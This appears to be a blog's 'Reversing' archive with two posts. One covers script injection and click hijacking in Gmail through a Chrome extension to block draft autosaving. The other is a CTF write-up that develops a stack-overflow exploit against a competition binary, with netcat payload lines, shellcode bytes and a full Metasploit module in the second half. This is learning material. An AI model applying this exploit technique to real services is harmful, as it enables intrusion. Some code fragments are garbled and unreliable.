Category Archives: Reversing

Hacking Gmail for Privacy and Profit

My goals for Mymail-Crypt for Gmail have always been to allow everyone to be able to use Gmail to simply, and privately send messages. I’ve recently had time to conquer one of the bigger challenges that I’ve only poked at before: stopping automatic draft saving.

However, the whole process was an exercise in backtracking, frustration, and bursts of satisfaction. This post is going to be very technical, and I write it in hopes that someone attempting to do something similar with Gmail or general extension hacking can find something useful. Feel free to reach out to me with any questions.

No, this is not how to read your ex-girlfriend’s email, and no, I don’t actually profit from this extension.

AJAX Attack!

Ok. Let’s make Gmail stop unloading drafts. These are sent via XHR (ajax), so let’s intercept that from our extension and stop them from uploading: = function(){

Nothing. That’s weird. I see in the debugger, XHR calls going back and forth, but my debugger call isn’t registering.

Ok I wonder if this is a limitation of Content Script Chrome extensions. I’ve looked at the Content Script Documentation before but, let’s try some experiments:

$('body').append('<script type="text/javascript">

Ok, I get an ever so pleasant alert popup on page load. JS DOM injection Works.

$('body').append('<script type="text/javascript">
window.XMLHttpRequest.prototype.send = function(){debugger;}

Doesn’t work. “Isolated Worlds” are in play. This is the limit of the content script sandbox. Time to take another approach.

Replace the composition box

So, if I can’t intercept the actual XHR messages, I think I’m going to have to change something on the page in order to prevent drafts from being visible. My first thought is to look at the composition form textbox. A quick look in the debugger shows that the code looks like this for the textbox:

<body g_editable="true" hidefocus="true" contenteditable="" class="editable LW-avf" id=":2ak" style="min-width:0;"><br></body>

I try replacing the :2ak with my own personal id. However, even after I make this change, the draft still gets uploaded. I try changing a few parent id values. Same response.

Higher in the DOM I find the form that is being submitted. When I rename this id value I get an error. Yay. My Fuzzing broke the page. I use the debugger to pause on all XHR requests. I confirm that the XHR request contents are essentially blank, as I would expect. This is a good sign.

Now, how do I make the page usable again.

Click hijacking

The first thing I try is to write a new on things that I think I could click on, notably a elements. However, Gmail doesn’t use a lot of a elements. I seemed to sometimes get into some sort of race condition depending on how I was binding .click() events. There seem to be two things at play here:

  1. jQuery by default will make a queue with event handlers, but this can be overridden
  2. (again) Content Script Chrome extensions have limitations on manipulating the host page javascript

Time to pivot, no, not pivot I’m not a startup change my strategy yet again.


Let’s try copying our form, I can leave the cloned form blank so Gmail thinks there is an empty message.


Initially, this is looking pretty good. I can change the id values and hide the form I don’t want Gmail to see. However, it quickly becomes apparent there is a serious issue with this approach. The text box is not editable. That’s weird. Uggh, part of the form is an iframe. After wasting an embarrassing amount of time trying to force the iframe html value to be what I want, it becomes apparent my approach isn’t working and the content isn’t loaded when I try to clone it. Duh, what if we just wait until it is loaded.

  var form = $('#canvas_frame').contents().find('[class="fN"] &gt; form').first();
}, 500);

Alright, this is looking good. I can edit the text as I would expect. Uggh, new problem, I’m stuck in some sort of weird state where either the drafts are continuing to save or I’m hitting my new favorite Gmail 707 error. I proceed to fiddle with this, changing exactly how I insert or what I do, for quite some time. It continues to not work. Awesome.

Take a break (always undervalued).


In fiddling with the cloning, I’m somehow slowly drawn back to my previous strategy of just renaming the composition form. Ok, so the major issue with this is that whenever I click any link I get a 707 error unless the form has the proper id. Let’s take a step back and see if somehow we can take advantage of the hierarchical structure of the DOM. What if I bind a mousedown on the main “canvas_frame” iframe object?

  alert('I'm CLICKING');

Boom. This works exactly as I want it to. Anywhere I click, I’m getting the alert. Now let’s try to refine this sledge-hammer approach to make it useful. I target the left hand side of the Gmail window:

Rather than a 707 error, I’m going to go ahead and assume you want to navigate away. If you don’t want drafts to autosave, navigating away means these should not be saved. So let’s rebind this left hand side

$('#canvas_frame').contents().find('[class="nH oy8Mbf nn aeN"]').mousedown(clearAndSave);
function clearAndSave(){
function saveDraft(){
    var form = $('#canvas_frame').contents().find('#gCryptForm');
    form.attr('id', formId);
    $('#canvas_frame').contents().find('div[class="dW E"] &gt; :first-child &gt; :nth-child(2)').click();

This works well. I similarly blank out other navigation links. To save drafts, I bind the appropriate button to call the saveDraft function. To send a message I again save a draft and fake click the send button. jQuery provides the powerful ability to generically select the Send button:

$('#canvas_frame').contents().find('div[class="dW E"] > :contains("Send")');

General Approach

You may have notice that I search Gmail page based on class. In my experience (too many hours), these are less likely to change between iterations. I try to make my jQuery selections as generic as possible but still get the exact element I want — it’s often hard to find the appropriate balance.

There’s some other craftiness in my solution, but this article is already far longer than I had anticipated, and shows the points I consider most important.


It works! The Gmail interface is not intended to be manipulated by people. Figuring out how the complex functionality of the application is difficult and takes a lot of guess and check.

I’ve added an experimental option to disable draft autosaving in the latest version of Mymail-Crypt for Gmail (source), (Chrome Web Store extension) using the approach described here.

HOWTO: Hack the Planet (Part 1)

This is a recollection of my experiences creating a metasploit module for a stack overflow exploit. No actual planet was hacked.

I saw a reference to the competition being started at on a blog. I realize that I’ve never done extensive reversing and decided there’s only one way to learn.  Unfortunately, the competition hit a few hiccups along the way, and re-released several binaries, but not before I had sunk time into the wrong ones. At least it was educational. Some of my work, particularly exploring the reversed code has been glossed over as not that applicable — though it did provide good background into the fully functional application. This information pertains to the Nova CTF January 2011 competition.

Tools used:

  • netcat
  • echo
  • nmap
  • wireshark
  • metasploit
  • IDA Pro (free version — I’m sure OllyDbg would be fine too — I used it on one of my test boxes)

Windows 7 Ultimate 64 Bit running provided server.exe

Vulnerability Background:

  1. nmap TARGET -p 1-65535
  2. Run server.exe on TARGET
  3. nmap TARGET -p 1-65535
  4. Note that port 1337 is the difference, hence it becomes our target

Useful sidenote: The original executable would crash on some nmap scans and on all netcat scans, while on some nmap scans it would run perfectly. They connect differently.

NMAP creates a half tcp connection (You can change this to different behaviors, but defaults to this):


Netcat creates a full connection to communicate online:


On the new executable, which was far more functional than the original, it is easier to proceed from here. Anything that was sent over netcat was mirrored back, as I had thought the original intention of the program to be.  One could send information and it would just mirror it back as many times as you wanted to.

I decided to test by again sending a large payload through netcat.  The program crashed this time.  Immediate thoughts point to some sort of stack overflow.

My large message has been delivered similar to

echo -e1234567890123456789012345678901234567890| nc TARGET 1337

*Note: the -e has been left so that I can deliver bytes directly via \x00 through \xFF

However, the string of digits is much longer. Hint: 0-9 breakdown into 0x30-0x39.

Finding the exploit

Time to look at it with IDA. I use a “Manual Load” on IDA, I’ve just found that this works as a better base for the program, but perhaps unnecessary.

I poke through the code (now re-organized, but some sections and functions seem largely identical).  I find the bit of code again that is Bytes received. I use this as my breakpoint and progress from here.  On my first run through, I basically let the program run through to see what causes the crash.

I run the program through and the debugger at the end tells me that the instruction at 0x39383736 cannot be read.  Obvious conclusion: the program is trying to execute an address directly from my input. I’m assuming at this point that the Endian of the machine dictates why these values are reverse of what one might expect, but this is pretty clearly an issue that I have caused.

EAX which seems to be at the beginning of the input is 0x0018EC68, ESP is 0x0018ED70 = 0x108 = 264 in decimal.  It seems likely that the buffer is a 256 byte buffer for the input so values beyond that cause trouble.

I try values around 256.  At 254, the program works, at 255, it breaks. (Unless of course the values for 254,253 were what it was expecting and it was a word off, but I find that unlikely). I also note that some values for 255 seem to work properly.

Watching the code I see that it is failing in the following code:

.text:004012F1 add     esp, 4
.text:004012F4 push    0                               ; flags
.text:004012F6 mov     edx, [ebp+len]
.text:004012FC push    edx                             ; len
.text:004012FD lea     eax, [ebp+buf]
.text:00401303 push    eax                             ; buf
.text:00401304 mov     ecx, [ebp+var_4]
.text:00401307 push    ecx                             ; s
.text:00401308 call    ds:send

My first inclination is that something with [ebp+len] has gotten changed. len has value: 0x9A4 (2468), [ebp+len] is right beyond the edge of my input and has value 0x000000FF.  Having already looked through this code a bunch (or a broken version of it), I start to trace back as to where the issue is occurring.

Image: the highlighted retn statement is the jumping off point for my code.

I then decide to take a little bit of a different approach. I realized earlier that the program could not run the place in memory which was one that I had sent it. Time to figure out how many values I need to overwrite in order to get to that point.

Trial and error indicated that Bytes 261-264 would be this value.  I also found out that sending \x00\x01\x02\x03 up to \x10 caused the program to exit successfully, perhaps these were not throwing off the values enough. I resorted back to \x30\x31\x32, etc, instead. It turns out that \x00 (null-byte) is the escape character, a pretty common practice. I test sending a string of all characters \x01-\xFF to see if there are other bad character issues. I didn’t find any.

I see that in memory the 0x0018EC68 is the beginning of the input buffer. This means that I want 261-264 bits to point here, aka \x68\xEC\x18\x00 (for Endian reasons). I try setting these values as my 261-264 bytes and the program returns to the beginning of my input like I had expected.

echo -e1234567890123456789012345678901234567890.....(fill to 260 bytes).....\x68\xEC\x18\x00” | nc TARGET 1337

Images: The above image shows what the stack is supposed to look like, the bottom shows what happens with our injection (0x0018ED6C is the important line)

Turning Exploit into Metasploit

The next major stage is to take what I already know and implement it in metasploit. Time to write a metasploit module. Create a ruby file in $metasploithome$/modules/exploits/windows/misc . It seems the best way to figure out how to write an exploit is to look at the examples you already have.

There are two main components, initialize and exploit. Initialize will tell metasploit some information about the exploit, mostly who is vulnerable and what payload you can deliver. Exploit gets called to make the action.

I initially have some trouble with my payloads not working properly. One thing that seems suspect is EIP and ESP being so close to each other upon return. A little googling confirms this is a common issue. I inject “\x81\xc4\x54\xf2\xff\xff” to the beginning of my exploit in order to move the stack back plenty. This however does not do the trick.

Pro-tip: Here, like many times when I’m stuck, I use wireshark to see if I get what I’m expecting.

After some frustration, I decide to take a different path, what if I can put the payload after the return code? I see that the return address is loaded in at 0x0018ED6C. I use netcat again to send a huge string of garbage and see it will load through 0x0018F067, this leaves me 763 bytes to play with, and setting my return address to 0x0018ED70. This will allow for much larger payloads. I try

exploit = rand_text_alpha_upper(260) + "\x78\xED\x18\x00\x81\xc4\x54\xf2\xff\xff" + payload.encoded

However, it becomes obvious there’s an issue with this. My return memory address contains \x00, a null byte, which I’ve found to end the input.  This conclusion was obvious in retrospect, but I spent a bit of time trying to get this method to work. It seems there should be a clever way around this, though it’s not as simple as getting rid of \x00 from instructions because this is a memory address which must be contained in the given 4 bytes, but perhaps I could somehow offset something? I’m not sure.

I return to my previous attempt of putting the exploit in the first 260 bytes. I refine my string within metasploit and find that it functions, I’m not sure what was wrong before. I chose the speak “you got pwned” payload. Classic.

exploit = "\x81\xc4\x54\xf2\xff\xff" +payload.encoded + "\x68\xEC\x18\x00"

Final ruby file:

# Custom Metasploit Exploit for Jan 2011 Competition
# Sean Colyer
# 2011-01-25
require 'msf/core'
class Metasploit3 &lt; Msf::Exploit::Remote 	include Msf::Exploit::Remote::Tcp 	def initialize(info = {}) 		super(update_info(info, 			'Name'           =&gt; 'NOVA CTF January 2011, Stack Overflow.',
			'Description'    =&gt; %q{
					This module exploits a stack buffer overflow in the NOVA CTF January 2011 server.exe program
			'Author'         =&gt; [ 'Sean Colyer' ],
			'License'        =&gt; MSF_LICENSE,
			'Version'        =&gt; '$Revision: 1 $',
			'DefaultOptions' =&gt;
					'EXITFUNC' =&gt; 'process',
			'Payload'        =&gt;
					'Space'    =&gt; 254,
					'BadChars' =&gt; "\x00",
			'Platform'       =&gt; 'win',
			'Targets'        =&gt;
					[ 'win',   { 'Ret' =&gt; 0x0018ED70 } ],
			'DefaultTarget' =&gt; 0,
			'DisclosureDate' =&gt; 'January 2011'))
		register_options([Opt::RPORT(1337)], self.class)
	def exploit
		exploit = "\x81\xc4\x54\xf2\xff\xff" +payload.encoded + "\x68\xEC\x18\x00"
		print_status("Trying target #{}...")


I did this really as an exercise for myself. I’m sure my exploit could use more refinement, but my goal was to make it work at all, regardless of any sort of competition.

I spent a lot of time trying to figure out how to exploit the broken executable. It turned out to be broken, and only realized there was a new one after going to see if there were updates on the site. However, it was really useful in getting my mind in to assembly-reading shape. Reversing is pattern recognition, so watching things flow and loop helps show what kind of patterns to watch for. Though it turned out extensive reversing was not needed in this case, it still proved to be a good exercise.